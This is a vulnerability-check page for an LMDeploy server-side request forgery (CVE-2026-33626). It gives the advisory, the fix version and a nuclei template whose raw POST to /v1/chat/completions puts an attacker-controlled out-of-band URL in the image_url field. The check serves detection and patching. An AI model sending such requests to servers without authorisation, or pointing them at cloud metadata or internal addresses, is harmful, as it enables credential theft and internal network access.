LMDeploy - Server-Side Request Forgery

highseverity

7.5CVSS score

45.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.

Impact

An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.

Fix

Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.

How to confirm it

Send: GET {{BaseURL}}/v1/models
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "lmdeploy")
Send: POST /v1/chat/completions
Positive when: status_code == 200 and contains(interactsh_protocol, "http") and contains(interactsh_request, "User-Agent")

Run it with nuclei: nuclei -id CVE-2026-33626 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-33626

info:
  name: LMDeploy - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
  impact: |
    An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
  remediation: |
    Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
  reference:
    - https://github.com/advisories/GHSA-6w67-hwm5-92mq
    - https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33626
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33626
    epss-score: 0.4525
    epss-percentile: 0.98795
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
    vendor: internlm
    product: lmdeploy
  tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/models"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "lmdeploy")'
        condition: and
        internal: true

  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"internlm-xcomposer2","messages":[{"role":"user","content":[{"type":"text","text":"Describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}"}}]}]}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from